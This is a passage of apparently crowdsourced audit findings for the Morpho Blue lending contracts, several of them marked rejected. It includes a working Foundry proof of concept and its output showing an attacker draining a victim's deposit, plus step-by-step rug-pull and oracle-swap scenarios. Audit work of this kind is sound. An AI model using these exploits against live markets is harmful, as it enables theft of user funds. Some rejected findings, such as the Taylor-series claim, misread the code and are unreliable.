+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+>> if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+>> else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L26
+
+```solidity
+ function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+>> return assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39-L41
+
+```solidity
+ function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+>> return shares.mulDivUp(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+ }
+```
+
+This situation can be repeated over, each time increasing magnitude of the shares by the decimals of the asset funds provided.
+
+This way the pool becomes disabled after one or several bankruptcies as shares will be inflated over the `uint128` type maximum at some point. Since the `id` mapping is permanent, this means that no operations can be carried out for this market, so it needs to be deprecated and recreated, for example, with different Oracle address.
+
+It cannot be said that there is `n years` left until the overflow happens: there is no control over that and the bankruptcy can happen on the next day after market creation. The number of bankruptcies needed for bricking the market depends on the asset decimals and valuation, and it might be as low as one bankruptcy needed.
+
+Taking Shiba Inu (https://etherscan.io/token/0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE) with 18 decimals and market value `USD 0.000008` as of time of writing, which adds 6 decimals (`1 / 0.000008 = 125000`) for expressing `1 USD` worth, and let's say bad debt as of time when last bad debt write off happened had `USD 10k` worth.
+
+Initial shares will have `6 (VIRTUAL_SHARES) + 18 (token dp) + 6 (token worth) + 4 (bad debt worth) = 34` meaningful digits.
+
+Since `totalBorrowShares` is `uint128` after bankruptcy the supply of anything greater than `2**128 / 10**34 = 34_028`, which has worth of `2**128 / 10**34 / 10**18 * 0.000008 = 2.7e-19 USD`, will fail.
+
+As this amount isn't meaningful for any lending/borrowing, the market becomes permanently broken. Since `id` is a fixed mapping of market characteristics, they will need to be altered in order for operations for this tokens and market parameters to continue.
+
+Impact: the market will become unusable along with any of its downstream integrations that might expect it to continue operations with inflated shares as it's designed. All such integrations will need to be stopped. As this can have arbitrary scale and will lead to underutilization of assets in some integrated Vaults, and even asset freeze in some others, and taking into account the reputational damage, the severity of such an impact can be estimated as high.
+
+Probability of this can be estimated as medium since substantial enough downward price movement of the collateral asset along with fixed liquidation incentive and the lack of additional stabilization mechanics can create a situation of no assets and some shares remaining, i.e. the bankrupt market, as a part of going concern operations. I.e. this is neither frequent, nor exotic / corner case situation, it is rarely, but from time to time achievable state of the market as a part of normal workflow. Low valuation or high decimals asset tokens can also be routinely used in the protocol.
+
+Per medium probability and high impact setting the total severity to be high.
+
+**Recommendation:** In order to accommodate for the permanent and permissionless nature of the markets consider introducing direct bankruptcy treatment mechanics.
+
+As an example, time based one can suffice, in which case time of depositing and bankruptcy needs to be introduced and managed on the corresponding events, which will allow to reset `totalSupplyShares` to zero on bankruptcy as any amount of shares early depositors would have will be controlled for this additional deposit time parameter. I.e. deposits older than bankruptcy will be ignored in the logic, so shares rebasing will not be needed.
+
+
+
+### chain liquidation because of 1 collateral token that creates sell presure when positions liquidate _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+Unlike Aave and Compound in Morpho blue each debt is backed only with one collateral token. This create cascading liquidation risk.
+for example assume all the markets that token RAND is set as collateral(name them RMs), which means users supplied RAND as collateral and borrowed another token.
+if token RAND price drops by a big amount in short time, then some positions in markets RMs will be liquidate, as those positions get liquidated the unlocked RAND tokens in the blockchain is going to be increased which means more sell pressure. in fact many liquidation bots are gonna sell collateral token right away to pay back their flash loans. so in result if RAND token price drops in short time, positions in RMs markets will get liquidated and this liquidations is gonna cause more RAND price drop which will cause more liquidations and so on.....
+
+
+I believe this is a real risk and it's not mentioned in the docs or whitepaper. this issue will not happen to Aave or Compound because in those projects one user have multiple collateral tokens and even if one collateral token prices drops the liquidators are going to liquidate different collateral tokens which means the sell pressure will not be only concentrated on one token.
+
+Morpho blue risk is severe when a token has low liquidity in the chain DEXs. this issue risk and impact will be higher as users lock more collateral tokens. it will be like a time bomb that is ready to blow up when price of that token drops by big percentage(like 20%) in short time.
+
+
+
+### Front-run dust amounts before liquidation can cause bad debts position in the system _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L387-L387](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L387)
+
+**Description**:
+
+Liquidate can be front-run by adding minimum collateral as small as 1 wei to keep the `badDebtShares` exist. Since the badDebt will be small, it will not attractive to liquidator, thus badDebt still remains in the system.
+
+if a user is trying to be liquidated full position (will make their collateral balance 0), this user can be front-runned by someone else with just a minimum 1 wei of asset in order to make `position[id][borrower].collateral` equal to non zero, thus the clearance of badDebt is skipped.
+
+This can make the existing `totalBorrowAssets`, `totalSupplyAssets` and `totalBorrowShares` still have badDebt. Moreover the user's position now is too small and unattractive for liquidator to liquidate thus making this badDebt untouched. Finally this accumulation of badDebt will impact the overall protocol health.
+
+```js
+File: Morpho.sol
+300: function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+301: external
+302: {
+...
+310: position[id][onBehalf].collateral += assets.toUint128();
+...
+317: }
+...
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+...
+384: position[id][borrower].collateral -= seizedAssets.toUint128();
+385:
+386: uint256 badDebtShares;
+387: if (position[id][borrower].collateral == 0) {
+388: badDebtShares = position[id][borrower].borrowShares;
+389: uint256 badDebt = UtilsLib.min(
+390: market[id].totalBorrowAssets,
+391: badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+392: );
+393:
+394: market[id].totalBorrowAssets -= badDebt.toUint128();
+395: market[id].totalSupplyAssets -= badDebt.toUint128();
+396: market[id].totalBorrowShares -= badDebtShares.toUint128();
+397: position[id][borrower].borrowShares = 0;
+398: }
+399:
+...
+410: }
+```
+
+**Recommendation**:
+
+Implement a minimum collateral deposit amount and make sure collateral amount above a certain amount to prevent dust amount making badDebt not cleared
+
+
+
+### Wrong Taylor series approximation of e^(nx) - 1 allows borrowers to pay more interest _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+MorphoBlue uses the Taylor series expansion of $e^{nx} - 1$ [to approximate the continuously compounding interest](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L477) earned over a period. Where x is the borrowing rate (compounding rate) and n is the seconds passed since the interest was last calculated.
+
+Here's the [implementation](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/MathLib.sol#L38) of the Taylor series in MathLib file:
+
+```
+function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+
+```
+The mathematical representation of the implementation above is:
+
+$x + {x^2}/2 + {x^3}/3$
+
+
+But the correct mathematical representation should be:
+
+$x + {x^2}/2 + {x^3}/6$
+
+(The denominator of the last term should be 6).
+
+**Here's a step by step Taylor series expansion of $e^{nx} - 1$.**
+
+Taylor's series expression: $f(x) = \sum_{n=0}^{\infty} \frac{f^n (a)}{n!} {(x-a)}^n$
+
+We'll use the Maclaurin series to approximate i.e. a = 0. The Taylor's expression becomes:
+
+$f(x) = \sum_{n=0}^{\infty} \frac{f^n (0)}{n!} {(x)}^n$
+
+
+Let's get the partial sum of the first 4 values of the expression above. This will include the first 3 non-zero terms used and [mentioned](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/MathLib.sol#L36-L37) in the library. The expression becomes:
+
+$f(x) = \sum_{i=0}^{3} \frac{f^i (0)}{i!} {(x)}^i$
+
+$= f(0) + f'(0)x + \frac{f''(0)x^2}{2!} + \frac{f'''(0)x^3}{3!}$
+
+$= f(0) + f'(0)x + \frac{f''(0)x^2}{2} + \frac{f'''(0)x^3}{6}$
+
+
+_Solving derivatives_:
+
+$f(a) = e^a - 1, \quad f(0) = e^0 - 1 = 0$
+
+$f'(a) = e^a, \quad f(0) = e^0 = 1$
+
+$f''(a) = e^a, \quad f(0) = e^0 = 1$
+
+$f'''(a) = e^a, \quad f(0) = e^0 = 1$
+
+
+_Substituting_:
+
+$\quad = 0 + (1)x + \frac{(1)x^2}{2} + \frac{(1)x^3}{6}$
+
+$\quad = x + \frac{x^2}{2} + \frac{x^3}{6}$
+
+As seen from the expansion above the correct mathematical implementation should be:
+
+**$x + {x^2}/2 + {x^3}/6$**
+
+
+Let's compare the current implementation (wrong implementation), correct implementation and original values. These will be e_w, e_c and e^{x} - 1 respectively.
+
+
+**x = 0.01**
+
+$e^{0.01} - 1 = 0.010050167084168, \quad e_c^{0.01} = 0.01005016667, \quad e_w^{0.01} = 0.01005033333$
+
+**x = 0.1**
+
+$e^{0.1} - 1 = 0.105170918075648, \quad e_c^{0.1} = 0.105166667, \quad e_w^{0.1} = 0.10533333333$
+
+**x = 1**
+
+$e^{1} - 1 = 1.718281828459045, \quad e_c^{1} = 1.666666667, \quad e_w^{1} = 1.83333333$
+
+
+As can be observed above the value currently returned by wTaylorCompounded exceeds the original for low values of x. We are using low values of x because the approximation was done with Maclaurin series which sets the value of a to zero. This means the values of x used should be close to zero.
+
+Since wTaylorCompounded is called to approximate the interest borrowers have accrued it means borrowers will end up paying more interest than intended.
+
+```
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+
+**Recommendation**:
+Update the wTaylorCompounded function to:
+
+```
+function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ - uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+ + uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 6 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+
+```
+
+
+
+
+
+### User funds can be stolen by repaying the shares earned for free.
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L281-L281](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L281-L281)
+
+_Summary_
+In review 3.1.4 by Cantina Managed, it is mentioned that shares can be acquired for free during borrow. However, it only states that DOS can be done at the beginning of the market and the Morpho team has decided not to modify it. However, it does not state that you can get shares for free and even repay them as the market progresses. I would like to discuss this danger.
+
+_Details_
+In the `borrow` function, `assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);` is used to calculate assets from shares.
+In the `repay` function, assets are calculated by the formula `assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);`.
+Consider the following case.
+
+```
+totalBorrowAssets: 1,000e18
+totalBorrowShares: 1,000,000,000e18
+(Assume that there is sufficient liquidity.)
+```
+
+In this state, if we use `1e6 - 1` for the input value (share) and `borrow`, the following changes.
+
+```
+totalBorrowAssets: 1,000e18
+totalBorrowShares: 1,000,000,000e18 + 1e6 - 1
+```
+
+In this state, if `1e6 - 1` is used for the input value (share) and `repay`, the result is as follows.
+
+```
+totalBorrowAssets: 1,000e18 - 1
+totalBorrowShares: 1,000,000,000e18
+```
+
+In other words, by repeating the above operation, you can steal assets by `1wei`.
+This is unlikely to happen under normal circumstances, since the cost of the attack would be higher. However, if several conditions are met, black hats can consider attacking.
+
+- Low (or free) gas prices
+
+If the protcol is deployed to L2 in the future where gas costs are lower. Also, there are recently some Wallets like Rainmaker that utilize Account Abstraction technology to realize DeFi investment without charging users for gas. The likelihood that more options will become available in the future is high, and the viability of this attack vector will increase if gas prices are extremely low or free.
+
+- The price of the token itself is high.
+
+For example, BTC (WBTC) is currently nearly $40,000. The higher the price of the token, the higher the value of this attack vector.
+
+- The lower the number of decimals
+
+The lower the number of decimals, the higher the value of 1 wei.
+
+- If attackers are willing to attack even if they are prepared to lose money
+
+The loss of funds from a protocol is an act that causes a significant loss of trust in the protocol. There is a possibility that a hostile organization or competitor will attack even if they are prepared to incur some losses.
+
+Each combination of the above conditions increases the motivation for attack.
+The most likely case is that the price of WBTC (decimal:8) will rise in the future and the attack will take place on an L2 chain with low gas prices (or utilizing a gas free wallet with Account Abstraction, etc.).
+Since this will lead to the loss of a large amount of user funds, it should be prevented even if the likelihood is not high.
+Report this as a High vulnerability as Impact: High, Likelihood: Medium.
+
+_Mitigation Measures_
+Ensure that shares cannot be acquired without remittance of the asset
+
+
+
+
+### Attacker can brew a poisonous pool _(duplicate of [Virtual borrow shares accrue interest and lead to bad debt])_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho Blue is a trustless lending primitive with permissionless market creation, which means any pool can be trusted as long as
+
+1. loan token's and collateral token's addresses are correct
+2. oracle is reliable
+3. all positions are healthy (bad debt can be socialized)
+
+However, an attacker can brew a poisonous pool within 200 days. The pool offers high APY and attacker can rug pull any user as soon as the user deposits into the pool.
+
+```solidity
+// SPDX-License-Identifier: None
+
+// before running please
+// 1. replace mock irm with real adaptive irm
+// 2. change function _isHealthy to public
+// 3. disable via-ir
+
+pragma solidity ^0.8.0;
+
+import "./BaseTest.sol";
+
+contract PoisonousPoolTest is BaseTest {
+
+ function testPoison() public {
+
+ // collateral token and loan token have equal prices, both with 18 decimals
+ collateralToken.setBalance(address(this), 1000000e18);
+ loanToken.setBalance(address(this), 1000000e18);
+ console.log("attacker's initial balance of loan token:", loanToken.balanceOf(address(this)));
+
+ morpho.supplyCollateral(marketParams, 1000000e18, address(this), hex"");
+ morpho.supply(marketParams, 14, 0, address(this), hex"");
+ morpho.borrow(marketParams, 13, 0, address(this), address(this));
+
+ // wait 200 days, iterate to accelerate
+ for (uint i = 0; i < 25; i++) {
+ skip(4 days);
+ morpho.accrueInterest(marketParams);
+ }
+ for (uint i = 0; i < 18; i++) {
+ skip(150 hours);
+ morpho.accrueInterest(marketParams);
+ }
+
+ // healthy until now
+ assert(morpho._isHealthy(marketParams, id, address(this)));
+ morpho.repay(marketParams, 0, 13e6, address(this), hex"");
+ morpho.withdrawCollateral(marketParams, 1000000e18, address(this), address(this));
+ morpho.withdraw(marketParams, 0, 13.92e6, address(this), address(this));
+
+ for (uint i = 0; i < 3; i++) {
+ skip(5 hours);
+ morpho.accrueInterest(marketParams);
+ }
+
+ // victim appears
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, 1000000e18);
+ (uint assetsV, uint sharesV) = morpho.supply(marketParams, 0, 0.06e6, SUPPLIER, hex"");
+ console.log("an innocent user supplies", assetsV, "for", sharesV);
+ vm.stopPrank();
+
+ // rug pull
+ morpho.withdraw(marketParams, 0, 0.06e6, address(this), address(this));
+ console.log("attacker's final balance of loan token:", loanToken.balanceOf(address(this)));
+ }
+}
+```
+
+```shell
+$ forge test --match-test "testPoison" -vv
+
+Running 1 test for test/forge/PoisonousPoolTest.sol:PoisonousPoolTest
+[PASS] testPoison() (gas: 1261662)
+Logs:
+ attacker's initial balance of loan token: 1000000000000000000000000
+ an innocent user supplies 896890340757591676435347 for 60000
+ attacker's final balance of loan token: 1896890188147312692323452
+
+Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 28.76ms
+
+```
+
+
+
+**Recommendation**:
+
+Don't use virtual shares (for inflatable debt)
+
+
+
+### Malicious oracles can be used to steal user funds _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**: One important feature of Morhpo Blue is that it is oracle-agnostic. This means that it doesn't enforce the type of oracle used. Each market can use any oracle but it must conform to the [IOracle](https://github.com/morpho-org/morpho-blue/blob/main/src/interfaces/IOracle.sol) interface to ensure that it returns a price when the `price` function is called. This allows MorphoBlue to not be dependent on a single oracle and keep functioning if an oracle fails.
+
+When a market is created, the address of the oracle is not checked.
+
+```
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+This means a malicious deployer can deploy a market with a proxy contract that implements IOracle and talks to an oracle e.g Chainlink. The Morpho Blue team has already addressed this by explicitly [stating](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/interfaces/IOracle.sol#L8) that It is the user's responsibility to select markets with safe oracles. But when you consider this statement and real-life hacks that have occurred e.g Tornado Cash Governance hack it doesn't stop a large number of users from losing their funds and the Morpho team from being in the news.
+
+Considering the Tornado Cash hack, it was malicious code deployed subtly by leveraging the gullibility of voters, self-destruct, Create and Create2 opcodes. The exploiter proposed the contract and said it implemented the same logic as another proposal. It was voted on by voters and the code of the contract was changed to allow the exploiters to take funds.
+
+![Leveraged on their gullibility](https://pbs.twimg.com/media/FwmEFiBakAEHzZx?format=png&name=medium)
+
+Here's how the Tornado hack happened:
+1. Hacker deploys contract A and uses it to deploy another contract B using CREATE2.
+2. Contract B is used to deploy contract C using CREATE.
+3. Hacker proposes contract C as proposal #20 and promises governance that the code is the same as another proposal #16.
+4. Voters vote on the proposal allowing him to **leverage their gullibility**. Check the image above. They may have read the code and didn't see how the self-destruct could be malicious.
+5. Hacker **self-destructs** contract B and contract C.
+6. Uses **Create2** to deploy contract B at the same address.
+7. Uses **CREATE** from contract B to deploy malicious code at contract C's previous address. This is possible because when contract B was self-destructed its nonce was reset to zero and contract C is currently empty.
+
+A very similar hack can happen on Morpho Blue like so:
+
+1. Hacker deploys contract A and uses it to deploy another contract B using CREATE2.
+2. Contract B is used to deploy contract C using CREATE.
+3. Hacker creates a market and promises that the oracle's code is the same as the code used in another market. The hacker's address could have deployed markets in the past.
+4. Users supply collateral and borrow from the market allowing him to **leverage their gullibility**.
+5. Hacker **self-destructs** contract B and contract C.
+6. Uses **Create2** to deploy contract B at the same address.
+7. Uses **CREATE** from contract B to deploy malicious code at contract C's previous address.
+8. Returns a malicious price that makes every borrower's position liquidatable and steals their funds.
+
+It is even more important to note that, unlike Tornado Cash where voters are obliged to read the code of proposals. DeFi users aren't obliged and rarely read the code of contracts they interact with and even if they do so it doesn't mean they would spot the malicious code. To prevent such occurrences Morpho Blue can remain oracle agnostic while still ensuring oracles are safe.
+
+**Recommendation**: This issue can be approached in several ways. But here's a way I think Morpho Blue can remain oracle-agnostic and still be safe. It can create a registry of verified oracle proxies which anyone can contribute to but has to be verified by a community. Morpho Blue is meant to built upon by other projects, so this will encourage other protocols to come up with their registry of oracles. Users will be encouraged to ensure the oracles of markets they interact with are in this registry, which is easier to do than reading contract code. If it so desires the(se) registries can be enforced onchain.
+
+
+
+
+### Malicious User can steal funds by crafting an Oracle led Attack _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho operates as a fully decentralized protocol allowing any user to create a market, enabling others to supply or borrow within these markets.
+
+```solidity
+File: Morpho.sol
+
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+
+```
+
+Here, MarketParams consists of:
+
+1. `loanToken`
+2. `collateralToken`
+3. `oracle`
+4. `irm`
+5. `lltv`
+
+But, when you check Validation in `createMarket`, it validates:
+
+1. Market Exists or not.
+2. Irm Enabled or not.
+3. lltv Enabled or not.
+
+Here, there is no validation or whitelisting of the Oracle. While it may be "challenging" to validate every token's Oracle, the absence of Oracle validation opens up the possibility of exploitation. A malicious user can take advantage of this vulnerability through the following scenario:
+
+1. `Market Creation:` Alice creates a new Market with Collateral Token `WETH` and Loan Token `USDT`.
+
+2. `Oracle Manipulation:` Alice makes a change of making the Oracle contract Upgradable while keeping the current implementation identical to the one recommended in Morpho Blue Oracles.
+
+3. `Normal Operations:` Users begin supplying and borrowing tokens based on the initially correct price of `1 WETH = 2000 USDT`.
+
+4. `Strategic Upgrade:` Once Alice observes a substantial amount of borrowing in the market, she upgrades the implementation to set the Collateral Price to 1 wei.
+
+5. `Rug Pull Scenario:` With this alteration, the position of every user becomes unhealthy, allowing Alice to use a script to liquidate all positions in exchange for negligible Loan Token, essentially executing a rug pull on the entire market.
+
+By initially operating within normal parameters, a malicious user can deceptively create the impression among other users that the market is currently one of the most favorable options for supplying or borrowing. This strategic approach sets the stage for a rug pull, ultimately leading unsuspecting users to a loss of funds.
+
+**Recommendation**:
+
+Implement an Oracle validation mechanism within the `createMarket` function through whitelisting like it is done for `irm`. While validating the Oracle for every token poses a challenge, I highly recommend its implementation to preemptively avert critical scenarios from the users' perspective.
+
+
+
+### Lack of checks on the product of borrowRate and elapsed time allows borrowers to pay less interest _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Description: Morpho Blue gets its interest rate from an Interest Rate Model (Irm) contract. It uses this to calculate the interest amount borrowers need to pay. The interest calculation is done using the Taylor's series approximation of $e^{nx} -1$. Where `x` refers to the borrow rate and `n` refers to the time elapsed.
+
+```
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+
+The wTaylorCompounded function does the approximation.
+
+```
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+ return firstTerm + secondTerm + thirdTerm;
+ }
+```
+
+The Taylor series approximation implemented above is a Maclaurin series which sets the value of a in the Taylor's series expression below to zero.
+
+Taylors series: $f(x) = \sum_{n=0}^{\infty} \frac{f^n (a)}{n!} {(x-a)}^n$
+
+Maclaurin series: $f(x) = \sum_{n=0}^{\infty} \frac{f^n (0)}{n!} {(x)}^n$
+
+
+The approximation only works for values close to zero. This means that as the values shifts away from zero the approximation is less accurate. Let's compare them below.
+
+**Note**: The approximation implemented in `wTaylorCompounded` is equivalent to: $x + {x^2}/2 + {x^3}/3$. So the comparison will be done with this. *e_a* will represent it below.
+
+$e^{0.01} - 1 = 0.010050167084168, \quad e_a^{0.01} = 0.01005033333$
+
+$e^{0.1} - 1 = 0.105170918075648, \quad e_a^{0.1} = 0.10533333333$
+
+$e^{1} - 1 = 1.718281828459045, \quad e_a^{1} = 1.83333333$
+
+$e^{10} - 1 = 22025.467, \quad e_a^{10} = 393.3333333333$
+
+As can be observed above the approximation becomes less accurate as x shifts from zero.
+
+From the implementation, x = nx hence, if nx becomes too large the approximation becomes less accurate. i.e if borrowRate * timeElapsed becomes too large the approximation is inaccurate.
+
+
+There are currently no checks in the [_accrueInterest](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L476-L477C6) function to prevent nx from becoming too large. If it becomes too large a wrong interest is returned.
+
+```
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+```
+
+Looking at the IRM implemented currently at [morpho-blue-irm](https://github.com/morpho-org/morpho-blue-irm). The max borrow rate it can return is 317097919837645865 (int256(0.01e9 ether) / 365 days). If two minutes elapse and the Irm called returns its max value then,
+
+nx = 317097919837645865 * 120 = 38051750380517503800
+
+The value has been scaled by WAD. So,
+
+nx = 38051750380517503800/WAD = 38.0517503805175038
+
+If we compare the two approximations,
+
+$e^{nx} = 3.3*10^{16} \quad e_a^{nx} = 19124.91296$
+
+
+
+
+
+**Recommendations:** Put appropriate checks in place to prevent nx from becoming too large such that the approximation done by wTaylorCompounded function does not deviate much from the original value. However if an IRM keeps returning large borrowRates it would prevent `_accrueInterest` from running and subsequently stop the borrow, supply, deposit and repay functions from running. To ensure this does not occur the max `borrowRate` in IRMs should also be set appropriately.
+
+
+
+### Allowing `Liquidator` to decide `seizedAssets` or `repaidShares` during liquidation can threat the solvency of the protocol _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The current implementation of the `liquidate` function in `Morpho` allows the Liquidator to choose either `seizedAssets` or `repaidShares`. While this allows for Flexibility for Liquidators to do partial liquidation in case of Big Amount, But it posing a serious threat to the protocol's solvency.
+
+From high level, this is how the `liquidate` function works:
+
+1. Validation of Market Parameters.
+
+2. Accrual of Interest up to the specified time.
+
+3. Validation of an unhealthy position.
+
+4. Calculation of `repaidAssets` and `repaidShares` based on certain factors, including a Liquidator-supplied parameter (`seizedAssets` or `repaidShares`).
+
+5. Updating the accounting by removing repaid shares, repaid assets, and seized assets.
+
+6. A crucial condition check that determines whether to realize a loss from bad debt and update the accounting or not.
+
+```solidity
+File: Morpho.sol
+
+ uint256 badDebtShares;
+ @-> if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+```
+
+Issue Scenario:
+
+* Consider a scenario where a malicious actor, Alice, deploys a bot designed to liquidate positions strategically.
+* The bot's objective is to liquidate a majority of the debt but intentionally leave a negligible portion of the collateral.
+* This creates a situation where users are liquidated, but the bad debt is not fully realized.
+* Due to increasing gas costs and the minimal position size, there is no incentive for other liquidators to take the loss and liquidate these small remaining portions.
+* Consequently, underwater positions accumulate in the system, posing a severe threat to the protocol's solvency.
+
+**Recommendation**:
+
+To address this issue, a design change is recommended. Instead of waiting for a strict condition `(position[id][borrower].collateral == 0)` to realize the entire bad debt, it is advisable to realize a proportional percentage of the bad debt relative to the amount the liquidator is liquidating. This ensures a more balanced and proportional distribution of bad debt, mitigating the risk of solvency threats caused by intentional incomplete liquidations. This design adjustment aligns with the goal of maintaining the protocol's financial health and stability.
+
+
+
+### Morpho::createMarket Oracle prices can be controlled by the market creator, potential for price manipulation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The new market can be created any one as it is an external function.
+By using a different oracle parameter, any one can create a new market for prominent pairs and lead them to a similar looking market. This is because the marketId is based on the market structure parameters. So, a different oracle parameter value will lead to a new id. The new market may draw deposits from investors.
+
+But, since the oracle is configured by the market creator, the market creator can manipulate the prices for conversion of tokens as the oracle is also configured by the market creator. The logic of the oracle is in the hands of market creator which could be altered at later point.
+
+The downside is that the protocol does not have any ability to delist the market, even if such manipulation was identified.
+
+
+
+### If malicious market maker sets LLTV == 0 isHealthy will always return false, allowing any position to be liquidated instantly
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Since market makers can be malicious and set the LLTV of their market, a market maker could make it so that borrows can be instantly liquidated.
+
+A given example scenario:
+1. Market maker creates a perfectly normal looking market so participants decide to join in and take borrows.
+2. After that market maker sets LLTV to == 0
+3. Since the LLTV value for specific borrows is not cached upon borrow but compared with `marketParams.lltv` upon validating if a position `isHealthy`, the boolean returned will always be False thus allowing anyone to liquidate positions
+**Recommendation**:
+Set a `minLowerAmount` for LLTV sounds like a reasonable way to solve this.
+
+**Proof of Concept**
+I copied your maths libraries and ran a PoC test in remix instead of the native test suite.
+
+```javascript
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.12 <0.9.0;
+
+library MathLib {
+
